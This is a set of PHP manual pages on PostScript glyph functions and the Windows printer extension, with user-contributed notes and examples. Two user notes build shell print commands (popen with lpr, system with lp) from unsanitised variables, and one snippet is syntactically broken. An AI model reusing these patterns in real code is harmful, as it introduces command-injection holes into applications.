ps_symbol_width -- Gets width of a glyph

说明

float ps_symbol_width ( resource psdoc, int ord [, int fontid [, float size]] )

Calculates the width of a glyph in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width.

参数

psdoc

ord

The parameter ord is the position of the glyph in the font encoding vector.

fontid

Its description

size

返回值

The width of a glyph in points.

参见

ps_symbol()
ps_symbol_name()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_symbol_name | 上一级 | ps_symbol


ps_symbol

(PECL)

ps_symbol -- Output a glyph

说明

bool ps_symbol ( resource psdoc, int ord )

Output the glyph at position ord in the font encoding vector of the current font. The font encoding for a font can be set when loading the font with ps_findfont().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_symbol_name()
ps_symbol_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_symbol_width | 上一级 | ps_translate


ps_translate

(PECL)

ps_translate -- Sets translation

说明

bool ps_translate ( resource psdoc, float x, float y )

Sets a new initial point of the coordinate system.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_scale()
ps_rotate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_symbol | 上一级 | Printer Functions


Printer Functions

PHP 手册
后退 前进

CXV. Printer Functions

简介

These functions are only available under Windows 9.x, ME, NT4 and 2000. They have been added in PHP 4.0.4.

安装

This PECL extension is not bundled with PHP.

Windows users must enable php_printer.dll inside of php.ini in order to use these functions. 可以从不同的 PECL 页面（选择适合自己 PHP 版本的库）取得未绑定的 PECL 扩展：PECL for PHP 4.3.x，PECL for PHP 5.0.x 或 PECL Unstable。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Printer configuration options

Name | Default | Changeable | Changelog
printer.default_printer | "" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

目录
printer_abort -- Deletes the printer's spool file
printer_close -- Close an open printer connection
printer_create_brush -- Create a new brush
printer_create_dc -- Create a new device context
printer_create_font -- Create a new font
printer_create_pen -- Create a new pen
printer_delete_brush -- Delete a brush
printer_delete_dc -- Delete a device context
printer_delete_font -- Delete a font
printer_delete_pen -- Delete a pen
printer_draw_bmp -- Draw a bmp
printer_draw_chord -- Draw a chord
printer_draw_elipse -- Draw an ellipse
printer_draw_line -- Draw a line
printer_draw_pie -- Draw a pie
printer_draw_rectangle -- Draw a rectangle
printer_draw_roundrect -- Draw a rectangle with rounded corners
printer_draw_text -- Draw text
printer_end_doc -- Close document
printer_end_page -- Close active page
printer_get_option -- Retrieve printer configuration data
printer_list -- Return an array of printers attached to the server
printer_logical_fontheight -- Get logical font height
printer_open -- Open connection to a printer
printer_select_brush -- Select a brush
printer_select_font -- Select a font
printer_select_pen -- Select a pen
printer_set_option -- Configure the printer connection
printer_start_doc -- Start a new document
printer_start_page -- Start a new page
printer_write -- Write data to the printer

add a note add a note User Contributed Notes
proton dot mule at gmail dot com
15-Apr-2006 01:08
Re: generating a PDF from PHP, there is also the File::PDF package from the PEAR repository. It's based on FPDF.

http://pear.php.net/package/File_PDF
arne dot briesenick at soxabo dot de
28-Sep-2004 10:42
Printing in UN*X is possible too:

<?php
function lpr($STR,$PRN) {
  $prn=(isset($PRN) && strlen($PRN))?"$PRN":C_DEFAULTPRN ;
  $CMDLINE="lpr -P $prn ";
  $pipe=popen("$CMDLINE" , 'w' );
  if (!$pipe) {print "pipe failed."; return ""; }
  fputs($pipe,$STR);
  pclose($pipe);
} // lpr()
?>

You pipe the stream/string/char/sign whatever to the system. In the example shown above you have to add at least the string for printing in the function call. The second arg is a printer name which if you don't set will be set to the C_DEFAULTPRN. This is a constant definition from an ini file.

Hope this will help to save a lot of time ;-)
jason at matteson dot com
12-Mar-2004 07:01
You can print in XP. AND, you can print to a shared printer with XP. The drivers for the printer MUST be installed on ther server as well as on the computer you wish to print with. Also, the printer must be shared on the client computer.

I am using a Zebra LP2844 Thermal Barcode Printer in my application. I am running XP Pro,Apache 1.3.27, PHP 4.3+.

Here is a function I use in our churches checkin system.  I use this to print directly to our printer with out having to use any Javascript.

First, i give the function the name of the shared printer.

Second, I get the client computers host name. You could use just REMOTE_ADDR too I suppose.

Then I return a correctly formatted Windows path to the shared printer for the

function getPrinter($SharedPrinterName) {
   global $REMOTE_ADDR;
   $host  =  getHostByAddr($REMOTE_ADDR);
   return "\\\\".$host."\\".$SharedPrinterName;
}

$handle  =  printer_open(getPrinter("Eltron"));

So, as long as you KNOW the computers are suppose to have a shared printer called "Eltron", you're all set to start sending info to the printer with the other Printer functions.

-j
macagomez at yahoo dot com
28-Jul-2003 05:35
Please notice that what is printed is NOT measured in pixels, it is measured in pronter's dots.
Apply to fonts, coordinates and bit maps.
HW
04-May-2003 06:31
Should be pretty obvious, but in case there is any confusion...
The printer in question is one that is connected to the _server_, not the _client_.
jwlash at acm dot org
20-Feb-2003 03:40
I have noticed the for unix based systems you can also do this:

system("lp $filename")

:)
surak at surak dot eti dot br
05-Feb-2003 02:30
[Editor's Note]
There is another free one available at http://www.fpdf.org/
[/Note]

As Bert said, a pdf generator wouldn't be bad. There is a free one at http://www.ros.co.nz/pdf/ , which can do the job. Inspite of the fact it is a little bit rough, it works fine and quite fast. It's just a matter of throwing the pdf file to ghostscript print it.
bertATnerdstockDOTorg
21-Jan-2003 08:22
If you want to address the printer from your PHP-application in a Un*x environment:
This is possible if you use a different method.
In Unix it would not be logical to address your printer directly from php, but you could for instance generate a PDF-file with PDFlib (or a textfile, or a PNG/JPEG image with GD or what have you) and write it from your php-script to a directory that you use as a "printer-outbox."

Next, you write a shellscript that calls some unix tool to print all pdf or other documents in your "outbox" directory and then deletes all files in that directory.

Then you use crontab to run this script every minute or as often as you think it's neccessary.

You could of course also call the shellscript from your php-application with exec() but you'll probably want to avoid using exec() and the like for security reasons.
kincaic at swbell dot net
23-May-2002 12:23
The X and Y co-ordinates are in dots.

Get the printer resolution BEFORE printing anything and convert all co-orditantes to dots in the current resolution.

Trying to change the resolution does NOT work in Win2000.

Anybody know where the source to php_printer.dll is kept?  I would like to fix some of the bugs that I have found.
add a note add a note

后退 | 起点 | 前进
ps_translate | 上一级 | printer_abort


printer_abort

(PECL)

printer_abort -- Deletes the printer's spool file

Description

void printer_abort ( resource handle )

This function deletes the printers spool file.

handle must be a valid handle to a printer.

例子 1. printer_abort() example

<?php
$handle = printer_open();
printer_abort($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Printer Functions | 上一级 | printer_close


printer_close

(PECL)

printer_close -- Close an open printer connection

Description

void printer_close ( resource handle )

This function closes the printer connection. printer_close() also closes the active device context.

handle must be a valid handle to a printer.

例子 1. printer_close() example

<?php
$handle = printer_open();
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_abort | 上一级 | printer_create_brush


printer_create_brush

(PECL)

printer_create_brush -- Create a new brush

Description

resource printer_create_brush ( int style, string color )

The function creates a new brush and returns a handle to it. A brush is used to fill shapes. For an example see printer_select_brush(). color must be a color in RGB hex format, i.e. "000000" for black, style must be one of the following constants:

  • PRINTER_BRUSH_SOLID: creates a brush with a solid color.

  • PRINTER_BRUSH_DIAGONAL: creates a brush with a 45-degree upward left-to-right hatch ( / ).

  • PRINTER_BRUSH_CROSS: creates a brush with a cross hatch ( + ).

  • PRINTER_BRUSH_DIAGCROSS: creates a brush with a 45 cross hatch ( x ).

  • PRINTER_BRUSH_FDIAGONAL: creates a brush with a 45-degree downward left-to-right hatch ( \ ).

  • PRINTER_BRUSH_HORIZONTAL: creates a brush with a horizontal hatch ( - ).

  • PRINTER_BRUSH_VERTICAL: creates a brush with a vertical hatch ( | ).

  • PRINTER_BRUSH_CUSTOM: creates a custom brush from an BMP file. The second parameter is used to specify the BMP instead of the RGB color code.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_close | 上一级 | printer_create_dc


printer_create_dc

(PECL)

printer_create_dc -- Create a new device context

Description

void printer_create_dc ( resource handle )

The function creates a new device context. A device context is used to customize the graphic objects of the document. handle must be a valid handle to a printer.

例子 1. printer_create_dc() example

<?php
$handle = printer_open();
printer_start_doc($handle);
printer_start_page($handle);

printer_create_dc($handle);
/* do some stuff with the dc */
printer_set_option($handle, PRINTER_TEXT_COLOR, "333333");
printer_draw_text($handle, 1, 1, "text");
printer_delete_dc($handle);

/* create another dc */
printer_create_dc($handle);
printer_set_option($handle, PRINTER_TEXT_COLOR, "000000");
printer_draw_text($handle, 1, 1, "text");
/* do some stuff with the dc */

printer_delete_dc($handle);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_create_brush | 上一级 | printer_create_font


printer_create_font

(PECL)

printer_create_font -- Create a new font

Description

resource printer_create_font ( string face, int height, int width, int font_weight, bool italic, bool underline, bool strikeout, int orientation )

The function creates a new font and returns a handle to it. A font is used to draw text. For an example see printer_select_font(). face must be a string specifying the font face. height specifies the font height, and width the font width. The font_weight specifies the font weight (400 is normal), and can be one of the following predefined constants.

  • PRINTER_FW_THIN: sets the font weight to thin (100).

  • PRINTER_FW_ULTRALIGHT: sets the font weight to ultra light (200).

  • PRINTER_FW_LIGHT: sets the font weight to light (300).

  • PRINTER_FW_NORMAL: sets the font weight to normal (400).

  • PRINTER_FW_MEDIUM: sets the font weight to medium (500).

  • PRINTER_FW_BOLD: sets the font weight to bold (700).

  • PRINTER_FW_ULTRABOLD: sets the font weight to ultra bold (800).

  • PRINTER_FW_HEAVY: sets the font weight to heavy (900).

italic can be TRUE or FALSE, and sets whether the font should be italic.

underline can be TRUE or FALSE, and sets whether the font should be underlined.

strikeout can be TRUE or FALSE, and sets whether the font should be stroked out.

orientation specifies a rotation. For an example see printer_select_font().

add a note add a note User Contributed Notes
josh at engledental dot com
30-Jun-2002 11:30
Note that the orientation value is a 3-digit number where, for instance, an orientation of 90 requires a value of 900.
add a note add a note

后退 | 起点 | 前进
printer_create_dc | 上一级 | printer_create_pen


printer_create_pen

(PECL)

printer_create_pen -- Create a new pen

Description

resource printer_create_pen ( int style, int width, string color )

The function creates a new pen and returns a handle to it. A pen is used to draw lines and curves. For an example see printer_select_pen(). color must be a color in RGB hex format, i.e. "000000" for black, width specifies the width of the pen whereas style must be one of the following constants:

  • PRINTER_PEN_SOLID: creates a solid pen.

  • PRINTER_PEN_DASH: creates a dashed pen.

  • PRINTER_PEN_DOT: creates a dotted pen.

  • PRINTER_PEN_DASHDOT: creates a pen with dashes and dots.

  • PRINTER_PEN_DASHDOTDOT: creates a pen with dashes and double dots.

  • PRINTER_PEN_INVISIBLE: creates an invisible pen.

add a note add a note User Contributed Notes
Pierchi
05-Feb-2006 06:55
<?

$pen = printer_create_pen(stile, larghezza, "colore");

//EXAMPLE:
$pen = printer_create_pen(PRINTER_PEN_SOLID, 30, "000000");

?>
add a note add a note

后退 | 起点 | 前进
printer_create_font | 上一级 | printer_delete_brush


printer_delete_brush

(PECL)

printer_delete_brush -- Delete a brush

Description

void printer_delete_brush ( resource handle )

The function deletes the selected brush. For an example see printer_select_brush(). Returns NULL on success or FALSE on failure. handle must be a valid handle to a brush.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_create_pen | 上一级 | printer_delete_dc


printer_delete_dc

(PECL)

printer_delete_dc -- Delete a device context

Description

bool printer_delete_dc ( resource handle )

The function deletes the device context. 如果成功则返回 TRUE，失败则返回 FALSE。 For an example see printer_create_dc(). handle must be a valid handle to a printer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_delete_brush | 上一级 | printer_delete_font


printer_delete_font

(PECL)

printer_delete_font -- Delete a font

Description

void printer_delete_font ( resource handle )

The function deletes the selected font. For an example see printer_select_font(). Returns NULL on success or FALSE on failure. handle must be a valid handle to a font.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_delete_dc | 上一级 | printer_delete_pen


printer_delete_pen

(PECL)

printer_delete_pen -- Delete a pen

Description

void printer_delete_pen ( resource handle )

The function deletes the selected pen. For an example see printer_select_pen(). Returns NULL on success or FALSE on failure. handle must be a valid handle to a pen.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_delete_font | 上一级 | printer_draw_bmp


printer_draw_bmp

(PECL)

printer_draw_bmp -- Draw a bmp

Description

bool printer_draw_bmp ( resource handle, string filename, int x, int y [, int width, int height] )

The function simply draws an bmp the bitmap filename at position x, y. handle must be a valid handle to a printer.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. printer_draw_bmp() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

printer_draw_bmp($handle, "c:\\image.bmp", 1, 1);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
Fuzzmaster
01-Feb-2006 07:30
Added a bit a fuzz:

  function print_img($doc,$img,$res,$pos_x,$pos_y)
   {
     $img_size = getimagesize($img);
     $img_resolution = $res;

     $img_width = $img_size[0];
     $img_height = $img_size[1];

     echo $img_width.'<BR>';
     echo $img_height.'<BR>';

     $ptr_resolution_x = printer_get_option($doc, PRINTER_RESOLUTION_X);
     $ptr_resolution_y = printer_get_option($doc, PRINTER_RESOLUTION_Y);

     echo $ptr_resolution_x.'<BR>';
     echo $ptr_resolution_y.'<BR>';

     $img_scale_x = $ptr_resolution_x / $img_resolution;
     $img_scale_y = $ptr_resolution_y / $img_resolution;

     echo $img_scale_x.'<BR>';
     echo $img_scale_y.'<BR>';

     $ptr_width = $img_width * $img_scale_x;
     $ptr_height = $img_height * $img_scale_y;

     echo $doc.'<BR>';
     echo $ptr_width.'<BR>';
     echo $ptr_height.'<BR>';

     printer_draw_bmp($doc,$img,$pos_x,$pos_y,$ptr_width,$ptr_height);
   }

print_img($handle, '../img/someimage.bmp', 72, 10, 10);

Of course, if someone can figure out how to capture the resolution of the image from the file that's one less value to manually assign.
ramiro_puc[AT]hotmail[DOT]com
15-Jan-2006 06:51
When trying to print any image file it was getting a very, very small as someone said above. To solve this problem, ive made a script that will calculate the correct size of image before output it to printer.

Most of InkJet printers use 300 dpi. You can change values if you have any other printer... In this case, im using a HP DeskJet 930c.

To make this script better, you can use GD to discover image resolution automatically.

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$largura = 415; //Image Width in Pixels
$altura = 284;  //Image Height in Pixels

$fator_x = $largura / 72; //Image Resolution (72 ppi)
$fator_y = $largura / 300; //Printer Resolution (300 dpi)
$fator_z = $fator_x / $fator_y;

$largura_f = $largura * $fator_z;
$altura_f = $altura * $fator_z;

printer_set_option($handle, PRINTER_MODE, "RAW");
printer_draw_bmp($handle, "c:\image.bmp", 1, 1, $largura_f, $altura_f);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>
da_vinci7[at]hotmail[dot]com
17-Mar-2005 06:25
what i notice was that
[qoute]
void printer_draw_bmp ( resource handle, string filename, int x, int y)
[/qoute]
is only that here only the starting x and y are shown
and that if you have an bmp with the size 600 x 120 wil be shown as 600x120 pixels and printed very very smale

and when i tried giving ending x and y like this:
<?
  printer_draw_bmp($handle, $file, 1, 1, 4600, 860)
?>

it printed the image in the correct size
lapoA at TseanetD dot O dot Tcom
09-Dec-2004 02:08
something I found out the hard way...
in order for the example above to work, the file being printed must be in a directory that has been opened for reading.
The example in the docs should probably have been listed as:
(There should probably be a check for the filename, but this should give an idea)

<?php
$dir = 'c:\\somedir';
$file = 'myimage.bmp';

if (is_dir($dir)) {
   if($dhandle = opendir($dir)) {
     $handle = printer_open();
     printer_start_doc($handle, "My Document");
     printer_start_page($handle);

     printer_draw_bmp($handle, $file, 1, 1);

     printer_end_page($handle);
     printer_end_doc($handle);
     printer_close($handle);
   }
   closedir($dhandle);
}
?>
add a note add a note

后退 | 起点 | 前进
printer_delete_pen | 上一级 | printer_draw_chord


printer_draw_chord

(PECL)

printer_draw_chord -- Draw a chord

Description

void printer_draw_chord ( resource handle, int rec_x, int rec_y, int rec_x1, int rec_y1, int rad_x, int rad_y, int rad_x1, int rad_y1 )

The function simply draws an chord. handle must be a valid handle to a printer.

rec_x is the upper left x coordinate of the bounding rectangle.

rec_y is the upper left y coordinate of the bounding rectangle.

rec_x1 is the lower right x coordinate of the bounding rectangle.

rec_y1 is the lower right y coordinate of the bounding rectangle.

rad_x is x coordinate of the radial defining the beginning of the chord.

rad_y is y coordinate of the radial defining the beginning of the chord.

rad_x1 is x coordinate of the radial defining the end of the chord.

rad_y1 is y coordinate of the radial defining the end of the chord.

例子 1. printer_draw_chord() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "2222FF");
printer_select_brush($handle, $brush);

printer_draw_chord($handle, 1, 1, 500, 500, 1, 1, 500, 1);

printer_delete_brush($brush);
printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_bmp | 上一级 | printer_draw_elipse


printer_draw_elipse

(PECL)

printer_draw_elipse -- Draw an ellipse

Description

void printer_draw_elipse ( resource handle, int ul_x, int ul_y, int lr_x, int lr_y )

The function simply draws an ellipse. handle must be a valid handle to a printer.

ul_x is the upper left x coordinate of the ellipse.

ul_y is the upper left y coordinate of the ellipse.

lr_x is the lower right x coordinate of the ellipse.

lr_y is the lower right y coordinate of the ellipse.

例子 1. printer_draw_elipse() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "2222FF");
printer_select_brush($handle, $brush);

printer_draw_elipse($handle, 1, 1, 500, 500);

printer_delete_brush($brush);
printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_chord | 上一级 | printer_draw_line


printer_draw_line

(PECL)

printer_draw_line -- Draw a line

Description

void printer_draw_line ( resource printer_handle, int from_x, int from_y, int to_x, int to_y )

The function simply draws a line from position from_x, from_y to position to_x, to_y using the selected pen. printer_handle must be a valid handle to a printer.

例子 1. printer_draw_line() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 30, "000000");
printer_select_pen($handle, $pen);

printer_draw_line($handle, 1, 10, 1000, 10);
printer_draw_line($handle, 1, 60, 500, 60);

printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_elipse | 上一级 | printer_draw_pie


printer_draw_pie

(PECL)

printer_draw_pie -- Draw a pie

Description

void printer_draw_pie ( resource handle, int rec_x, int rec_y, int rec_x1, int rec_y1, int rad1_x, int rad1_y, int rad2_x, int rad2_y )

The function simply draws an pie. handle must be a valid handle to a printer.

rec_x is the upper left x coordinate of the bounding rectangle.

rec_y is the upper left y coordinate of the bounding rectangle.

rec_x1 is the lower right x coordinate of the bounding rectangle.

rec_y1 is the lower right y coordinate of the bounding rectangle.

rad1_x is x coordinate of the first radial's ending.

rad1_y is y coordinate of the first radial's ending.

rad2_x is x coordinate of the second radial's ending.

rad2_y is y coordinate of the second radial's ending.

例子 1. printer_draw_pie() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "2222FF");
printer_select_brush($handle, $brush);

printer_draw_pie($handle, 1, 1, 500, 500, 1, 1, 500, 1);

printer_delete_brush($brush);
printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_line | 上一级 | printer_draw_rectangle


printer_draw_rectangle

(PECL)

printer_draw_rectangle -- Draw a rectangle

Description

void printer_draw_rectangle ( resource handle, int ul_x, int ul_y, int lr_x, int lr_y )

The function simply draws a rectangle.

handle must be a valid handle to a printer.

ul_x is the upper left x coordinate of the rectangle.

ul_y is the upper left y coordinate of the rectangle.

lr_x is the lower right x coordinate of the rectangle.

lr_y is the lower right y coordinate of the rectangle.

例子 1. printer_draw_rectangle() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "2222FF");
printer_select_brush($handle, $brush);

printer_draw_rectangle($handle, 1, 1, 500, 500);

printer_delete_brush($brush);
printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_pie | 上一级 | printer_draw_roundrect


printer_draw_roundrect

(PECL)

printer_draw_roundrect -- Draw a rectangle with rounded corners

Description

void printer_draw_roundrect ( resource handle, int ul_x, int ul_y, int lr_x, int lr_y, int width, int height )

The function simply draws a rectangle with rounded corners.

handle must be a valid handle to a printer.

ul_x is the upper left x coordinate of the rectangle.

ul_y is the upper left y coordinate of the rectangle.

lr_x is the lower right x coordinate of the rectangle.

lr_y is the lower right y coordinate of the rectangle.

width is the width of the ellipse.

height is the height of the ellipse.

例子 1. printer_draw_roundrect() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "2222FF");
printer_select_brush($handle, $brush);

printer_draw_roundrect($handle, 1, 1, 500, 500, 200, 200);

printer_delete_brush($brush);
printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_rectangle | 上一级 | printer_draw_text


printer_draw_text

(PECL)

printer_draw_text -- Draw text

Description

void printer_draw_text ( resource printer_handle, string text, int x, int y )

The function simply draws text at position x, y using the selected font. printer_handle must be a valid handle to a printer.

例子 1. printer_draw_text() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$font = printer_create_font("Arial", 72, 48, 400, false, false, false, 0);
printer_select_font($handle, $font);
printer_draw_text($handle, "test", 10, 10);
printer_delete_font($font);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
frank dot liebelt at edico-gmbh dot de
23-Jun-2004 04:03
Placing text or other elements on a page could be a worst thing.
I wrote and use now the following code to print out a page as orientation help.
The creation time will be much shorter...

[CODE]
<?php
$p = printer_open();
printer_set_option($p, PRINTER_PAPER_FORMAT, PRINTER_FORMAT_A4);
printer_start_doc($p, "Testpage");
printer_start_page($p);
$pen = printer_create_pen(PRINTER_PEN_SOLID, 1, "000000");
$font = printer_create_font("Courier", 37, 19, PRINTER_FW_NORMAL, false, false, false, 0);

printer_select_pen($p, $pen);
printer_select_font($p, $font);

for ($i = 0; $i < 4600; $i+=100)
{
printer_draw_line($p, $i,0,$i,6700);
printer_draw_text($p,$i,$i,0);
}
for ($i = 0; $i < 6700; $i+=100)
{
printer_draw_line($p, 0,$i,4600,$i);
printer_draw_text($p,$i,0,$i);
}

printer_delete_font($font);
printer_delete_pen($pen);
printer_end_page($p);
printer_end_doc($p);
printer_close($p);
?>
[/CODE]

btw.
Has anyone a list for character sizes (x,y)? Like:
12px = 50, 12
14px = 60, 20

Frank
firman at fibconsultant dot biz
14-Oct-2003 09:20
I've a problem with the right alignment for number with draw_text so I make a small function and it is work for me, hopefully it will help other.

function write_num($input,$printer,$ypos,$xpos){
   $s=strlen($input);
   $y=$xpos;
   for ($i=1;$i<$s+1;$i++){
       $u=$i*-1;
       printer_draw_text($printer,substr($input,$u,1),$y,$ypos);
       $y=$y-15;
   }
}

Firman, Indonesia
add a note add a note

后退 | 起点 | 前进
printer_draw_roundrect | 上一级 | printer_end_doc


printer_end_doc

(PECL)

printer_end_doc -- Close document

Description

bool printer_end_doc ( resource handle )

Closes a new document in the printer spooler. The document is now ready for printing. For an example see printer_start_doc(). handle must be a valid handle to a printer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_draw_text | 上一级 | printer_end_page


printer_end_page

(PECL)

printer_end_page -- Close active page

Description

bool printer_end_page ( resource handle )

The function closes the active page in the active document. For an example see printer_start_doc(). handle must be a valid handle to a printer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_end_doc | 上一级 | printer_get_option


printer_get_option

(PECL)

printer_get_option -- Retrieve printer configuration data

Description

mixed printer_get_option ( resource handle, string option )

The function retrieves the configuration setting of option. handle must be a valid handle to a printer. Take a look at printer_set_option() for the settings that can be retrieved, additionally the following settings can be retrieved:

  • PRINTER_DEVICENAME returns the devicename of the printer.

  • PRINTER_DRIVERVERSION returns the printer driver version.

例子 1. printer_get_option() example

<?php
$handle = printer_open();
echo printer_get_option($handle, PRINTER_DRIVERVERSION);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_end_page | 上一级 | printer_list


printer_list

(PECL)

printer_list -- Return an array of printers attached to the server

Description

array printer_list ( int enumtype [, string name [, int level]] )

The function enumerates available printers and their capabilities. level sets the level of information request. Can be 1,2,4 or 5. enumtype must be one of the following predefined constants:

  • PRINTER_ENUM_LOCAL: enumerates the locally installed printers.

  • PRINTER_ENUM_NAME: enumerates the printer of name, can be a server, domain or print provider.

  • PRINTER_ENUM_SHARED: this parameter can't be used alone, it has to be OR'ed with other parameters, i.e. PRINTER_ENUM_LOCAL to detect the locally shared printers.

  • PRINTER_ENUM_DEFAULT: (Win9.x only) enumerates the default printer.

  • PRINTER_ENUM_CONNECTIONS: (WinNT/2000 only) enumerates the printers to which the user has made connections.

  • PRINTER_ENUM_NETWORK: (WinNT/2000 only) enumerates network printers in the computer's domain. Only valid if level is 1.

  • PRINTER_ENUM_REMOTE: (WinNT/2000 only) enumerates network printers and print servers in the computer's domain. Only valid if level is 1.

例子 1. printer_list() example

<?php
/* detect locally shared printer */
var_dump(printer_list(PRINTER_ENUM_LOCAL | PRINTER_ENUM_SHARED));
?>

add a note add a note User Contributed Notes
gabriel dot smagghe at laposte dot net
14-Oct-2005 04:33
You can use all the array data, with no crash.
For that you can do this :

$getprt=printer_list(PRINTER_ENUM_LOCAL| PRINTER_ENUM_SHARED );

if ($debugprt){echo "<pre> get prt";
   print_r($getprt);
   echo "</pre>";
   echo count($getprt);
}
$printers = serialize($getprt);
//echo $printers ;
$pp=str_replace _
(";s:11:\"DESCRIPTION\";",";s:4:\"DESC\";",_
str_replace(";s:7:\"COMMENT\";",";s:4:\"COMM\";",$printers));
$printers=unserialize($pp);
if ($debugprt){echo "<pre> pp :";

   print_r($printers);
   echo "</pre>";
   echo count($printers);
}

An that's ok
jt at jtis dot de
06-Dec-2004 07:19
As saidyjade mentioned below, printer_list crashes Apache when you pound the resulting array too much. I don't know why this happens, somebody should look deeper into the subject...
I have found out, contrary to saidyjade, that also just getting the NAME attribute (and remember, it's case-sensitive! :-) can crash Apache.

Here's what I had:
<?php
   foreach (printer_list(PRINTER_ENUM_CONNECTIONS) as $printer)
       echo "<option value=\"" . addslashes(strtoupper($printer["NAME"])) . "\">" . strtoupper($printer["NAME"]) . "\n";
?>
This snippet worked alright, whereas
<?php
   foreach (printer_list(PRINTER_ENUM_CONNECTIONS) as $printer)
       echo "<option value=\"" . addslashes(strtoupper($printer["NAME"])) . "\"" . ((strtoupper($printer["NAME"])) ? " selected" : "") . ">" . strtoupper($printer["NAME"]) . "\n";
?>
crashed Apache everytime the page was loaded.

I played around a bit and found this snippet not crashing:
<?php
   foreach (printer_list(PRINTER_ENUM_CONNECTIONS) as $printer)
   {
       $curprin = strtoupper($printer["NAME"]);
       echo "<option value=\"" . addslashes($curprin) . "\"" . (($curprin == $user["drucker"]) ? " selected" : "") . ">$curprin\n";
   }
?>

So, in essence you just need to be careful about how much you use the array and if necessary define help variables that you can use as much as you want.

Hope this saves somebody some more minutes...
saidyjade at hotmail dot com
15-Jun-2003 02:52
You can still get the "NAME" of printers through the printer_list as only the array keys "DESCRIPTION" and "COMMENT" crash and not the "NAME" key.

$list_printers = printer_list(PRINTER_ENUM_LOCAL |
PRINTER_ENUM_SHARED);

// get the name of the first returned printer
//(you can add array walk function to get all printer names if you wish.. but I am lazy)

$this_printer = $list_printers[0]["NAME"];

// open a connection to your printer
$my_printer = printer_open($this_printer);

.. blah blah

The output of var_dump (as an example)

var_dump( printer_list(PRINTER_ENUM_LOCAL | PRINTER_ENUM_SHARED) );

array(1) {
  [0]=> array(3) {
  ["NAME"]=> string(14) "Canon BJC-4550"
  ["DESCRIPTION"]=> string(30) "Canon BJC-4550,Canon BJC-4550,"
  ["COMMENT"]=> string(0) "This is my funky printer!" } }

